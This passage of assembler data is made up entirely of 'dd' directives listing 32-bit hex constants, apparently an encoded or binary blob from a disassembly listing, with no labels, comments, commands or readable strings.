0C31B9388h, 7F2505B5h, 937E8CB0h dd 0EEF3277Ah, 0E85718F0h, 0F1C63FC0h, 0B63842C1h, 0ED5918F0h dd 0F83DCE22h, 66B8D382h, 0CB1DA16Ah, 0C4B83CA4h, 0D78D00C4h dd 2F508911h, 24F41FAEh, 0DA918F4h, 67F12184h, 0C60E9C94h dd 0C32C8281h, 0B6411381h, 0A431BF00h, 336EF086h, 39F1B6C3h dd 1DEC9F1Eh, 0BE3BC63Ah, 3642A9CFh, 7F1B6C3h, 44989E59h dd 83387BADh, 298C9B0Bh, 33BBBD0Dh, 0D332CF58h, 48F1B6AFh dd 19F1B6B2h, 151169AEh, 10D3F7EDh, 6C39FEA4h, 0BAE852AEh dd 723D08FBh, 1937C18Fh, 379A96FBh, 73BCEDD5h, 0D75042C0h dd 1937DEC0h, 38CB03FBh, 0B6F3D538h, 4BA68FC6h, 259DE914h dd 19384099h, 0B7FBB6FBh, 5B3BB25Ch, 0AFD1B6F4h, 0ADFCD76Ch dd 2CDCC68Bh, 83F8C66Ah, 0BC18B6F4h, 9473F36Fh, 68AC189Fh dd 53EA01CBh, 7275C344h, 41373AC4h, 0B26A71C9h, 13963F54h dd 5E31A4A9h, 0BBC92B0Bh, 47596A07h, 4CC75C25h, 5D092960h dd 6F87E36Fh, 0FA05DC55h, 32448DB3h, 0B5F88B4Ch, 7A75E746h dd 0CEE85A7Fh, 2EA2986Ch, 0AC38AA7Ah, 0E94582CCh, 0EB1BE756h dd 0DF65ABAAh, 1A4B3847h, 0EB37043Fh, 2FF75D47h, 2FF75D3Fh dd 1A47FBAEh, 8AD3C53Fh, 0C6EBDDE0h, 67F26775h, 88D4538Fh dd 0D3D4CCB8h, 45ADC54Ah, 2EBDC01h, 0A9F78824h, 7A91AE84h dd 0A7B97506h, 4F7C77F5h, 0DAA76A32h, 7F29CEC3h, 0E164D0DCh dd 9F440702h, 554B69D6h, 8DD10BE5h, 0A174776h, 37470EBBh dd 57310F2Dh, 4F0F79B1h, 7526DBC3h, 6165638Ch, 6B36C44Ah dd 0EE5B1FBEh, 54DC5A36h, 837F0B26h, 0E6ECE53Eh, 0A94E2308h dd 74964AC3h, 0E4CDCA99h, 0B5D82663h, 91139F90h, 58D40CB3h dd 4603D880h, 4CD1F736h, 0CFCDB820h, 60E299F9h, 0D877D058h dd 1CBF3501h, 1471E603h, 87D25DBCh, 1CAFD26Fh, 0BA2070F6h dd 42C47B01h, 701ADCCh, 9AA335EEh, 43555A67h, 0BC9D8738h dd 3724B93Ah, 8375A6C7h, 0A559CDADh, 8029F4D2h, 82E6BD6h dd 700A3BB4h, 822B68C8h, 8090D312h, 3F235654h, 0D10DCEC5h dd 0E77A73C3h, 0A59302DAh, 37CE8E3Dh, 0B72D937Bh, 730983FFh dd 7057F841h, 0DEF1D0A8h, 2E81C026h, 8F1A9BC6h, 0FAEE7716h dd 29C0CCE0h, 0B20AAEA7h, 3A54D951h, 0B8AAF672h, 321D9D0Eh dd 3F248E77h, 0A307E5E3h, 90C2F09h, 64B4EDBBh, 0D92EB783h dd 0C0437954h, 2C8F26A6h, 8EA57950h, 231D1F32h, 0D86430FCh dd 0E1920373h, 145F955Fh, 0C629078h, 0E2EEF94Dh, 11987C9h dd 0DD0BD5C5h, 3754FEBh, 96BF77Ch, 481EEF44h, 58F22E0Bh dd 852FB8E4h, 57EEECE0h, 37429C94h, 0EF302315h, 3660BE78h dd 0F2B45127h, 31F5C8F8h, 6CBA0D5Ah, 380B7075h, 63FF4E9Bh dd 0C61B56D3h, 0EA7A5C9Ch, 49666018h, 5496C3F9h, 0B1108425h dd 0B12EA10Ch, 0A0D59354h, 71E68416h, 1FA18670h, 9A54F8E7h dd 0E0B0A38Fh, 1A5F92D5h, 0FA2D5412h, 1A6613A2h, 3ECF9CB4h dd 0F3B9FE7Eh, 5ABF161Bh, 32643418h, 75952C45h, 5889A479h dd 6E40EFC7h, 2C244161h, 36F5C9EBh, 0E94849C0h, 82465179h dd 0BF440751h, 92E5BB0Ch, 0F6C4BBE4h, 3E36FCA4h, 4FD29BFCh dd 44658CE8h, 0D9D29E9Ah, 0F9324FDCh, 61A2B3D0h, 0B810DE5Ch dd 0F6582911h, 76D29CDCh, 0B1CB561Fh, 27F741EAh, 762B6FFBh dd 0D98F68Eh, 0AB4B690Fh, 9E6207ECh, 0E5531A06h, 0DDDA5212h dd 35C1363Ah, 31A84CC9h, 8FB6B7F5h, 96C25A3Bh, 547774B7h dd 7CB537B7h, 839A7407h, 13C67186h, 7497D89Bh, 0E29FCC50h dd 30D1A6CAh, 0CE591A2Eh, 9F097DB7h, 1A5EDEEBh, 6471E8Dh dd 0AA606E6Ah, 5AA3B1DAh, 3DC98C59h, 380D12ADh, 0D184641Ah dd 6CAC885Bh, 2DC7C9CDh, 8B728694h, 2C187920h, 4D04A4D1h dd 531EC140h, 99DA013Fh, 0E389CFF6h, 46EE1103h, 7B4FE002h dd 4E945D17h, 4CF06195h, 0D19F0F78h, 11E8A564h, 9426DD0Ch dd 0A00B8E14h, 7BDD2662h, 9518FAB4h, 0B98FB3C8h, 2C45C4E9h dd 0B8C1EAFFh, 0D5CC4A85h, 0DDAED8B2h, 262AD65Dh, 0C964D709h dd 990DDAAFh, 5CB772F9h, 0A43315B1h, 3B3172F8h, 0E3FEE332h dd 1C0B95B8h, 0C69B6F03h, 846C0C94h, 0DAA76932h, 1A349EC3h dd 86A50478h, 6316B8BDh, 93858D16h, 84CE1B9Bh, 57A54DF9h dd 2FF3D7D0h, 4FA9013Fh, 3F0E62D2h, 7B274AA2h, 64EEB670h dd 0BC419F03h, 98AB8357h, 0F66096C0h, 0C8DC1801h, 0C3C7615Ah dd 24E6736Ah, 6FB48E72h, 0DCAE8D0Ch, 4AEB33D2h, 9FD7C3ECh dd 9BF8A942h, 4F130280h, 0AC55FC65h, 4A0050BAh, 7637DF27h dd 75A2457Fh, 0BC8067EFh, 85623447h, 6F872053h, 0A9EA8401h dd 97D170C5h, 0FC9E24E1h, 8E78F855h, 0A369B706h, 405C8D6Fh dd 0C2F2D8Bh, 6BA2C0A5h, 5362FA7Ch, 24E761CAh, 0BCD1A6E8h dd 1E283EF8h, 358C0016h, 17468887h, 3F04C472h, 9FC225CAh dd 0C9465091h, 1A5EB0C7h, 646D827h, 25B26E6Ah, 0CF78D0Bh dd 54116F24h, 0F6EA01D1h, 948D97EEh, 0E8ACBD8Bh, 1F13F066h dd 0E05E3A75h, 0D10293BBh, 22C99611h, 52140238h, 98185DD4h dd 0E1E29E4Fh, 52A95DBEh, 0B1EA820Ah, 6E0CCB4Fh, 87636E2Bh dd 263B77FEh, 38158AB5h, 0F45618ADh, 8659C130h, 42E1A8E4h dd 0C263C448h, 2FF75E9Dh, 3923D7EEh, 4B3E9393h, 0BF39C522h dd 16CCA27Ah, 0A94F533h, 7505C9B2h, 63DA014Ah, 0C3A33D01h dd 3DC7D586h, 1FEC02C8h, 92B4AEFDh, 1A4ADD01h, 2C2D303Fh dd 0CC37B4B2h, 72A6074Bh, 6569D264h, 2F2A1530h, 73DE5D3Fh dd 0CE485C55h, 0CE5EAEB3h, 0F8455AF7h, 0C516AE3Ch, 0B48A45F7h dd 0CD81B83Ch, 5D829C60h, 799305C3h, 2A73C1BFh, 2FF75EE4h dd 0E42EDCCEh, 3E59C7C3h, 0AFAE4B67h, 2FF75D4Ch, 372EC948h dd 19829DACh, 0C2EC5D3Fh, 0ADF78993h, 0E36C68Ah, 0E6A5FA34h dd 88C9078Dh, 7A48539Eh, 0CCBAD944h, 7271F6B5h, 0D91B0888h dd 1090ABB1h, 5DC9D9E1h, 0DF748C19h, 1B720648h, 8A78FB48h dd 0C2A10C4Bh, 3405C2A8h, 4876D416h, 0DF8D5297h, 8ECDBBD8h dd 463015C4h, 7FE3EECFh, 968CD3B4h, 0AFCCE41h, 7EC3C1E2h dd 0FC962973h, 152A3031h, 0EEC31E84h, 0A9233E9Ch, 8B1F7C04h dd 0F3728531h, 0B41A926h, 3623A0E4h, 93887158h, 0B3AAC87Ah dd 1CB0A9B1h, 1A027AEDh, 0AF3E16B9h, 1A5EC8A5h, 60C9FF3Fh dd 625BE182h, 185F448h, 508F7661h, 0CB2A77Fh, 55F75D3Dh dd 59F72B75h, 8E6FB13h dd 254F3A38h, 0FA850C3Ah, 97C33FF7h, 0F925140Ah, 67227B3Ch dd 65F775E4h, 48825D48h, 1A5EDE19h, 0B7792F1h, 0FB34256Dh dd 9479C97Ah, 6DA1B466h, 6015B754h, 0FDC85FD6h, 22EDC31Bh dd 5C01AEE3h, 0FA2D4792h, 8D68DD6Fh, 6768B5EDh, 714378B1h dd 1AD5A5BAh, 0B096093Fh, 6746B9DAh, 7A3C2206h, 0C073EEEDh dd 0D858F358h, 0B5EF2366h, 1ABAEF87h, 9FEBD050h, 3CF741EAh dd 8FC0C673h, 353AC181h, 618D1F0Bh, 7ACCE952h, 1A4AC64Eh dd 0F4DEA43Fh, 97F75D3Ch, 0B3D26AA0h, 1A5F043Fh, 8347D33Fh dd 216A2345h, 43F12B6Ch, 792F07A4h, 2FF75DB8h, 671FA4B0h dd 0CDF75DBBh, 74F72D3Fh, 0A371F84Ah, 21951D23h, 4E296FAFh dd 65FFD858h, 39ECB4D4h, 0F6C6EA06h, 0AFBC5A19h, 1A556AC9h dd 3A513A57h, 500C4D09h, 5DFEADFCh, 0E022E7BBh, 740FF76Eh dd 0AD4A61A0h, 35B71EF8h, 0A3A02CDCh, 0BAE86481h, 39ED8A92h dd 0B33E4B06h, 39E8635Ah, 28798E06h, 0D716511Eh, 6BDB0E66h dd 1A8A9815h, 87F2D0CCh, 0D6578CC8h, 9D57B455h, 3AFEAD0Eh dd 0E2CC2C4Bh, 499EFEFBh, 0CEAA9968h, 324334F6h, 33730B6Bh dd 25632D0Eh, 0D0ED511Eh, 0B9B38359h, 69BED90Ah, 0F66A967h dd 1F68C89Bh, 8AA478C1h, 9234C615h, 0A3FB2A76h, 4E3B51D4h dd 0E9F52D3Ah, 8E491642h, 9B925F0Bh, 3AFF51DBh, 0D107B795h dd 29C5B3DDh, 0A7934446h, 235CD8A3h, 2D8F2D92h, 294F4C0Ch dd 2F70FEF5h, 0AAFF51E2h, 4C8D09A4h, 5201522h, 0C7E58D34h dd 0F52FFB4Fh, 25DF25F2h, 0BAFF69B6h, 5AA67B8Bh, 50668C66h dd 76FC0B2Eh, 68250BFDh, 41E58CCAh, 5228E646h, 14E9C23Ah dd 0ECAD8A47h, 451446C3h, 0A80A4EB4h, 411DFECCh, 788AC19Bh dd 435DD7ADh, 9A264A84h, 171FB22Ch, 2F36B4D4h, 0DB078E9Dh dd 9A6A6533h, 19D17A31h, 1A674C45h, 0D97A001Dh, 0D0EBA978h dd 0B775C581h, 572ACD25h, 0C6AB11Eh, 41E4B1F3h, 0D588644Eh dd 41DFB161h, 6511FC4Eh, 0C74EDE40h, 57D1C3BCh, 0F5E2DA29h dd 0CE0F8F50h, 0D67B454Fh, 46C4D80h, 2497CBB4h, 10817873h dd 0BB961C32h, 70C6C33Fh, 4096D88Fh, 3C1CA1ADh, 6B3D54FFh dd 72A101FDh, 0F6F2DB08h, 30FFB942h, 0FFB37682h, 70C7519Ch dd 4096D88Fh, 3C1CA1ADh, 0EC3D54FFh, 72A120C5h, 0EF2DB08h dd 0B63D2A13h, 0D281795Bh, 31004D49h, 58A33882h, 10666518h dd 66981D38h, 0A42554FEh, 7228E417h, 0E641F479h, 716F0685h dd 4A8FDA94h, 68A24DA1h, 0CE208B97h, 6C4D2C03h, 65AF7655h dd 0EC9776B8h, 0E59456BAh, 7D58FF35h, 0D69CCB9h, 1722B716h dd 0E977725h, 4EA55383h, 741F4510h, 2A6C4D80h, 716A5418h dd 0AE37D355h, 0F628FF1Eh, 3B2812AAh, 0FC4788FFh, 0AA258BFBh dd 71817DEBh, 0C720CB79h, 0E333EFD8h, 28257365h, 31004D76h dd 55A33882h, 345E30Ch, 66981D34h, 0A42554FEh, 7228E417h dd 0F15AC679h, 0F6CD76BDh, 0E39C89E7h, 0D89D82FDh, 10817980h dd 31B6AA47h, 504E31Eh, 1BC2F256h, 9D982A88h, 71597F68h dd 82E9873Eh, 0CA154D80h, 10BB677Ah, 0B9F51499h, 6FA74514h dd 5D6C4C62h, 0D719C660h, 71598026h, 82E9873Eh, 0CA154D80h dd 10BB6513h, 0B9F51499h, 0C9C7C33Ch, 504D8A8h, 32AD20DDh dd 6F238103h, 0DBB27655h, 45473810h, 844ECFh, 0DDBF767Dh dd 0CA9776BDh, 0AC2BB8FFh, 74FBD01h, 0F3A76133h, 0C3CE7E45h dd 6D03FB75h, 589D582Dh, 71661EC5h, 17A09055h, 4DDBDAF9h dd 5B660579h, 0E7813E15h, 8BF2A2AFh, 7D7076BDh, 0F0ECFC0Fh dd 5F693658h, 0E5914AFDh, 827EE79Ah, 6E0EBF21h, 0C4488C60h dd 3B2D5549h, 122C758Ah, 0A3BA357Dh, 0D9A23D9h, 0E0577656h dd 0B31EE2CFh, 195221C8h, 27CAE36Bh, 716BA83Eh, 6CEF0F55h dd 8B977655h, 3F1FC391h, 0C153C021h, 0C494BEB4h, 7196D3F6h dd 0C7AA94E8h, 28B0BFBh, 8B9776ADh, 516C941Bh, 0B09776F7h dd 0F4549D8Fh, 4C58319Fh, 0E576F793h, 0B2311BC3h, 68ED680Eh dd 2FFB834Bh, 87FBC653h, 1CB0C9E7h, 2DA4969Bh, 0BB5D0AA6h dd 1C7A3ED3h, 90B1C93Ch, 1039FBEh, 413A8C15h, 72DB1A8Ch dd 0D085AD16h, 336F51CAh, 0D0F2DE78h, 0E1B1DB76h, 90B29747h dd 8A6380BEh, 0B8DDD3CDh, 7E902ECEh, 144E5109h, 0B3536E24h dd 48AE3F6h, 0F8AAFAC2h, 9BB5488h, 90A99CE2h, 21250BBEh dd 27DC0D4Eh, 446A7E12h, 89BC6136h, 6D1CC1BAh, 8B49B82Fh dd 0E6829053h, 90A8A581h, 8F48A3BEh, 0C6A92EC7h, 78651E5h dd 8D8F2444h, 5D1B6F5Ch, 90A8F9E8h, 0CF243BBEh, 2E1C7780h dd 62EA5B51h, 0E8DB8B2Dh, 164EEA44h, 14911AE2h, 0BC722229h dd 25022E30h, 0A8C40E72h, 4953E323h, 6A8751CAh, 33367B3Eh dd 0DD057D42h, 0E2CE4813h, 0D6B91F52h, 0A44D7B4Eh, 0A4543383h dd 8BDE458Ch, 0AFE81342h, 7F94ECBh, 611233AEh, 78A2A7DBh dd 0EE543133h, 0DD62730Fh, 0C7FED5ADh, 0C044E0DBh, 94C368B6h dd 0BBDC06A1h, 0E95433B5h, 47312621h, 0B4CCC8A8h, 0C0CCC3F1h dd 0EF54349Fh, 0C3C0225Ah, 62EE7FB5h, 6B4A819Dh, 0C5FCC458h dd 1C2A5DDFh, 1FA29CA6h, 69B434ABh, 0F644CC42h, 0F990E275h dd 1D46E3B9h, 3C5134ABh, 0C56187D5h, 0FB3B6BC6h, 0CEC8FDD7h dd 0CF78FFD8h, 3FCA000Eh, 73C02C82h, 0A995020Eh, 31629EA4h dd 49492CE0h, 1D2E14AAh, 70F3FC1Fh, 702C8AC1h, 49490CC1h dd 725EA3AAh, 0A6F97DF1h, 0F23010D1h, 0F088D8FCh, 49545DDAh dd 0F13F34AAh, 0A3B440DDh, 1C9D16B8h, 1C2A5DD1h, 1FA297EDh dd 3CB434ABh, 9E4109D5h, 0F990E262h, 75C4E3B9h, 241234A4h dd 56D71B0Eh, 0CA52B1EEh, 9F71DE3h, 5D3C0CECh, 2D380161h dd 6BC1C0Dh, 0F5C5B1BCh, 67EFD11h, 0CC64819Bh, 10991B43h dd 0BE889C29h, 673646ABh, 0F2FD3763h, 596FB3B6h, 6E423B4Bh dd 0FD868105h, 26735A0Ah, 0A1B75A6Dh, 0A756161Fh, 4440BDC3h dd 35AEA201h, 46F49231h, 6DF05B81h, 0D65A765Bh, 0B7EBCF44h dd 0EBF45199h, 0E28731BDh, 98F4922Eh, 566B5435h, 0F3660045h dd 42B45125h, 57AD5EA6h, 4EACCED2h, 9121EE6Eh, 0C4BAA6A9h dd 9446003Fh, 3394512Ah, 57AD5EA7h, 93ACCED2h, 91199435h dd 0C4BAA6A9h, 2226003Fh, 7B3B0DAh, 417451DAh, 57AD5EA6h dd 4EACCED2h, 8E0F766Eh, 53BAA6A9h, 40060045h, 57AD5EA6h dd 93ACCED2h, 8EB3D435h, 53BAA6A9h, 0FAE60045h, 0CA5492F1h dd 42B493C3h, 57AD5EA6h, 4EACCED2h, 911E8E6Eh, 53BAA6A9h dd 22C60045h, 0D48E132Fh, 417492EDh, 57AD5EA6h, 93ACCED2h dd 91228435h, 53BAA6A9h, 7CA60045h, 57AD5EABh, 4EACCED2h dd 907F566Eh, 53BAA6A9h, 0E5860045h, 617492BEh, 3A0E2FCCh dd 335B92C1h, 57AD5EA7h, 93ACCED2h, 91244435h, 53BAA6A9h dd 58660045h, 42AE2FDAh, 57AD5EA6h, 4EACCED2h, 911E8E6Eh dd 53BAA6A9h, 37460045h, 40F4921Ch, 57AD5EA6h, 93ACCED2h dd 8D506435h, 53BAA6A9h, 34260045h, 396E1307h, 57AD5EA7h dd 4EACCED2h, 8F7A7E6Eh, 0BABAA6A9h, 0DE06003Fh, 0ED749286h dd 0C57492F6h, 42BB9296h, 57AD5EA6h, 93ACCED2h, 90BCD435h dd 0BABAA6A9h, 0D5E6003Fh, 65949286h, 6BF492F1h, 7C9B9291h dd 57AD5EABh, 4EACCED2h, 0E5D8F66Eh, 0BABAA6D0h, 0D1C6003Fh dd 8E349285h, 602E1428h, 173493C3h, 0CFCE2FD7h, 3E1B92C0h dd 57AD5EA6h, 93ACCED2h, 8CF1B435h, 0BABAA6A9h, 4CA6003Fh dd 40F492E4h, 57AD5EA6h dd 4EACCED2h, 8F82AE6Eh, 0BABAA6A9h, 5386003Fh, 890E13FFh dd 9CCE1428h, 54D492BDh, 0F51492B0h, 691492F1h, 267493BEh dd 334E134Ah, 57AD5EA7h, 93ACCED2h, 8E1C1435h, 0BABAA6A9h dd 0AA66003Fh, 5CEE1374h, 75B49327h, 22AE1428h, 614E132Fh dd 47F493C3h, 7C8E1349h, 57AD5EABh, 4EACCED2h, 907F4E6Eh dd 0BABAA6A9h, 0FF46003Fh, 5B0E1342h, 0F52E1370h, 0D94E142Bh dd 42B492EDh, 57AD5EA6h, 93ACCED2h, 8E1A5C35h, 0BABAA6A9h dd 7D26003Fh, 0A4AE1312h, 3D549218h, 57AD5EA6h, 4EACCED2h dd 0E89B866Eh, 0E1BAA6D0h, 83060017h, 0C9F3B0EDh, 7C738572h dd 57AD5EABh, 93ACCED2h, 8EAF5435h, 0E1BAA6A9h, 1E60017h dd 7CD451A0h, 57AD5EABh, 38ACCED2h, 59846B2Ch, 1ACCEC9h dd 53E6B75Dh, 6C460045h, 6D945169h, 40F3B0B7h, 57AD5EA6h dd 18ACCED2h, 1F16AC46h, 5626007Ah, 3393CF44h, 57AD5EA7h dd 13ACCED2h, 51E12BC1h, 906003Ch, 0A9D451A1h, 4173B0B0h dd 57AD5EA6h, 54ACCED2h, 3CEF05E8h, 0ABE600BBh, 833B06Dh dd 4173B06Fh, 57AD5EA6h, 18ACCED2h, 6844BCF4h, 0AEC600BBh dd 3393B067h, 57AD5EA7h, 0DEACCED2h, 1ECDB0D7h, 7A6007Ah dd 40F3CF57h, 57AD5EA6h, 51ACCED2h, 4806334Ah, 0A860079h dd 4173CF57h, 57AD5EA6h, 17ACCED2h, 69FFF381h, 0B76600BBh dd 0DF13CFB1h, 7CD3CBDCh, 57AD5EABh, 0CFACCED2h, 1ECE95EDh dd 4746007Ah, 2693CF29h, 27D3CF2Ah, 0C11B935Ch, 3A33B0FEh dd 57AD5EA7h, 0EEACCED2h, 51CAE2FFh, 5526003Ch, 1053D080h dd 80D3D084h, 0D13B037h, 3D53B069h, 57AD5EA6h, 71ACCED2h dd 9C3A58E3h, 41060045h, 3393B0E8h, 57AD5EA7h, 79ACCED2h dd 2AC405B1h, 0FE6007Ah, 0FFD3B021h, 339451C0h, 57AD5EA7h dd 7FACCED2h, 51C26D8Dh, 97C6003Ch, 6673CF3Eh, 1493CF50h dd 4173CF2Ah, 57AD5EA6h, 85ACCED2h, 3E8032AFh, 0ABA600BBh dd 8E53CF3Eh, 4173CF6Ch, 57AD5EA6h, 2EACCED2h, 6A00836Dh dd 7E8600BBh, 42B3CF6Ch, 57AD5EA6h, 40ACCED2h, 0FF41F22h dd 7C66003Dh, 57AD5EABh, 0A6ACCED2h, 532F01B0h, 74460045h dd 0B2B3CF75h, 4173CF52h, 57AD5EA6h, 6BACCED2h, 7820526Ah dd 81260017h, 7CD3CF49h, 57AD5EABh, 0AACCED2h, 31ACCFF1h dd 0F806003Fh, 42B3CF4Dh, 57AD5EA6h, 0BBACCED2h, 243FF9D8h dd 56E6003Fh, 7CD3B0EEh, 57AD5EABh, 8ACCED2h, 26307774h dd 73C6003Fh, 9673B0B0h, 0F113B07Dh, 9BB3B0B0h, 0E2B3B0B0h dd 751B9358h, 42B3B037h, 57AD5EA6h, 77ACCED2h, 7FCC5F8Ch dd 0FAA600FFh, 21F3B07Dh, 0F0D3B0B4h, 0FA9B9358h, 0DCF3B005h dd 3A33B034h, 57AD5EA7h, 3AACCED2h, 476915DCh, 9B86003Eh dd 40F3B085h, 57AD5EA6h, 0B5ACCED2h, 0D15C0B4Eh, 0BF66003Fh dd 0C4D3B023h, 42B3CFB5h, 57AD5EA6h, 89ACCED2h, 0D15F7DC7h dd 1E46003Fh, 0AA74518Dh, 7C738504h, 57AD5EABh, 38ACCED2h dd 7FFFAFEDh, 142600FFh, 3DD4518Dh, 7C738570h, 57AD5EABh dd 80ACCED2h, 0C484B50Dh, 0B906003Fh, 0D3CF3Dh, 0AD745192h dd 3D53B06Dh, 57AD5EA6h, 6ACCED2h, 0B4816BEBh, 1E6003Fh dd 60D451E1h, 60F451F9h, 6C93CBEAh, 0DE345C4Eh, 0A273B0ADh dd 79F45187h, 0C0BB9288h, 335B9288h, 57AD5EA7h, 42ACCED2h dd 54523877h, 6CC60045h, 6D73CBE5h, 0FF0E1342h, 0B56E132Fh dd 50AE2FD0h, 25CE13FFh, 0FFF492F7h, 3B7492F6h, 5BFB92BFh dd 0E4B3B0F1h, 0E6B3B0F1h, 3E1B92C0h, 0C15B92C3h, 4B13B047h dd 7273B029h, 0C41B95C9h, 0E573B010h, 0ED3B04Dh, 0DDDB91B7h dd 0DBDB9295h, 2EDB9288h, 3713CF2Ah, 57AD5EA7h, 0DCACCED2h dd 0C1EF96EFh, 0FA6003Fh, 52D451A9h, 1313CBE5h, 0C0EE2FDBh dd 0FCCE130Eh, 80F3B060h, 91B4518Dh, 0CDB45180h, 397B9281h dd 57AD5EA7h, 6EACCED2h, 0B7E1490Dh, 4886003Fh, 9D5451E0h dd 0DCF3CF41h, 0F8745C3Dh, 0F2AE13E9h, 4F4E1305h, 816E142Bh dd 887492EDh, 8633B044h, 867B91BAh, 9CD3B03Fh, 3A33CF4Bh dd 57AD5EA7h, 89ACCED2h, 9F89B7DCh, 52660045h, 0DD3451A8h dd 4CB451AAh, 0AB6E132Ch, 0C9FB9292h, 42BB95F2h, 57AD5EA6h dd 89ACCED2h, 0D1926020h, 0BE46003Fh, 0ED74519Ch, 823451A5h dd 0B5D3CF44h, 0A4F451E3h, 5A145198h, 9E13B089h, 3693CF10h dd 2613CF61h, 0D7D3CF16h, 0ABF3B077h, 48F45C06h, 0B22E132Fh dd 0E70E1309h, 0D3745198h, 13145CFEh, 46D45C53h, 65D45C34h dd 858E1319h, 0CA6E2FE3h, 0EA93B042h, 4453B005h, 45345C11h dd 0C7D451A7h, 0E549327h, 96B49232h, 35D49321h, 826E1330h dd 0F8349324h, 46F49328h, 6D2E1332h, 0BA0E130Dh, 6AF49324h dd 904E1310h, 0B84E1312h, 0E0949324h, 29949263h, 3D749264h dd 72F4922Dh, 4DD4922Dh, 7B54922Dh, 1E2E1376h, 0FE53B052h dd 8B0E1366h, 7A0E1343h, 95EE1367h, 0A02E130Eh, 298E2FD1h dd 174E2FD8h, 15EE2FE2h, 0B5D4932Bh, 3D549324h, 66D492F6h dd 0DD8E2F20h, 9F4E132Ch, 62AE1428h, 99EE2FD4h, 8E2FE6h dd 69AE2FE2h, 5E4E1367h, 4EAE1361h, 392E130Ah, 934E2FD5h dd 6E0E132Ch, 4D8E1335h, 926E135Fh, 5C8E1305h, 0A08E1309h dd 0A413CF41h, 9D73CF4Eh, 7373CF10h, 0E7CE2F22h, 978E137Bh dd 0C58E1312h, 38B493C3h, 1113B0B2h, 0F493B0F9h, 72B45187h dd 5954517Fh, 4DD3B057h, 0B81451A8h, 0E33B0FAh, 7E5451ACh dd 0A9F3B0FAh, 7593B0BDh, 2D33B0F7h, 0F5CE2FDDh, 0EAAE2FD6h dd 9E3B928Ch, 34545187h, 3354519Eh, 76B3B046h, 3C5B928Ah dd 42BB9292h, 397B9290h, 57AD5EA7h, 19ACCED2h, 0C1819818h dd 0F426003Fh, 0E253CF16h, 8BB3CF1Ah, 2AD3CFFFh, 9E2E1344h dd 0CC8E13FEh, 0EE6E13FDh, 720E1335h, 7ED45C38h, 4CB45C3Dh dd 16945C71h, 11EE1330h, 0DDCE131Ah, 0EA73B042h, 8633B005h dd 67549321h, 95D4922Dh, 834E1340h, 0B9B49279h, 5E34932Ah dd 88E136Dh, 0E533B0B0h, 796E2FA9h, 146E1376h, 0F94931Fh dd 58AE1336h, 55EE2FD1h, 6CAE1333h, 0E84E132Eh, 30EE2FD4h dd 50B49328h, 3AB492FAh, 13B49282h, 0CB0E1332h, 0A20E1428h dd 0BDEE2FD1h, 0EC4E136Eh, 3B0E14A3h, 4B8E1307h, 7FAE130Fh dd 0A16E1305h, 0B06E1335h, 510E1428h, 0DA13CF48h, 3A13CF4Eh dd 0F7EE1378h, 364E1343h, 310E1307h, 0D16E132Fh, 59BB95F5h dd 36B45184h, 4C3451A8h, 0D3B085h, 777451A9h, 829B9157h dd 3E1B95F2h, 57AD5EA6h, 0AACCED2h, 0F8A5CE5Ah, 0B0600BBh dd 6E13CF53h, 0B7CE132Eh, 40F3B03Eh, 57AD5EA6h, 29ACCED2h dd 0F831C1A9h, 0FCE600BBh, 0D4F4519Fh, 5AFB9157h, 2D3B01Ah dd 335B9291h, 57AD5EA7h, 9EACCED2h, 0F5CA85E8h, 0D2C600BBh dd 3394519Ch, 57AD5EA7h, 0EBACCED2h, 0F5E7FFB3h, 23A600BBh dd 3AF451E3h, 1E13CF50h, 0E51451A0h, 5433CF1Ah, 9C53B042h dd 0ADAE1312h, 250E13FEh, 0EBEE1335h, 0DA8E1335h, 0A0545CFEh dd 19345C40h, 47145CFDh, 0A46E1332h, 0A4E13FEh, 0BDF3B07Ch dd 0C2B3B005h, 3FD49321h, 8754922Dh, 0E60E1340h, 99349327h dd 77B49232h, 210E2FBFh, 7DB3B052h, 16B492F7h, 0B6EE2FC2h dd 2E14931Fh, 0C86E1305h, 0B2E1333h, 0D0CE2FE2h, 5D349321h dd 0FD349324h, 6F349327h, 7B3492C0h, 828E1359h, 4A8E13FEh dd 0B56E2FD7h, 1FCE2FE5h, 4F8E131Ah, 0E00E1319h, 0E02E2F1Dh dd 3B6E1421h, 0CDF4922Eh dd 0F26E2FA9h, 28CE1421h, 632E130Dh, 0A9EE1364h, 0AA14932Ah dd 0F994922Dh, 0AE549326h, 5CCE130Fh, 80949232h, 9A549279h dd 0C34E130Fh, 0BA54932Ah, 156E130Dh, 0A46E1333h, 0E00E1335h dd 0E873CF47h, 20F3CF4Dh, 8EEE2E62h, 4ADB95F6h, 249451C0h dd 161451C3h, 0DD145186h, 6DB3B0B5h, 5AB3B057h, 0FFB4518Eh dd 93F3B07Eh, 0B093B0F0h, 27B4512Ah, 0EE73B061h, 37B3B0F1h dd 445451A5h, 0C1D3B0B8h, 8173B04Bh, 16FB95D1h, 0F1FB92C1h dd 1EFB95D1h, 5633B02Ah, 0CA1B927Ch, 24B3B070h, 711B91B1h dd 0F91B91B6h, 29B91B6h, 76FB928Ch, 0AE93CF4Dh, 6E13B0EEh dd 18B45192h, 0B313B0B4h, 0A053B0E5h, 0B253D080h, 7CD3B076h dd 57AD5EABh, 8CACCED2h, 513AD597h, 3486003Ch, 57AD5EA7h dd 0BFACCED2h, 0F8A7595Ch, 0C16600BBh, 0E2F4519Ch, 8354519Ch dd 42B3B044h, 57AD5EA6h, 5CACCED2h, 5E125F80h, 16460045h dd 0CCD451E3h, 4BDB9146h, 9694511Fh, 42FB91BAh, 57AD5EA6h dd 25ACCED2h, 9F4C51A5h, 40260045h, 88D3CF47h, 13B044h dd 0A91B91B6h, 17DB91B3h, 3713B0FCh, 57AD5EA7h, 3FACCED2h dd 5DB25660h, 2E060045h, 70D451A0h, 3653CBE5h, 194E130Eh dd 42AE132Fh, 57AD5EA6h, 43ACCED2h, 0C03F3FBEh, 3CE6003Fh dd 42B4519Fh, 57AD5EA6h, 0A0ACCED2h, 94F07FCBh, 0FDC5E1E0h dd 5514519Ch, 99451F9h, 0EE545C38h, 88549324h, 0F8549325h dd 0BA2E2FCFh, 88AE1302h, 7E4E2FBFh, 0D8EE1302h, 7DAE130Fh dd 0CE2E1302h, 40EE130Fh, 19EE131Ah, 5193CF4Dh, 0ABF3B0B2h dd 660E136Bh, 0F1DB9284h, 94F3B0F4h, 2154512Ah, 67B95E7h dd 2373B0B0h, 0FB13B0B6h, 0DC33B047h, 2853B0E9h, 3393B01Bh dd 57AD5EA7h, 0CACCED2h, 0B503BF3Eh, 0E1A6003Fh, 0B7EE132Ch dd 2A6E1307h, 386E142Ch, 0FE2E1374h, 0C93B0BDh, 3A33B082h dd 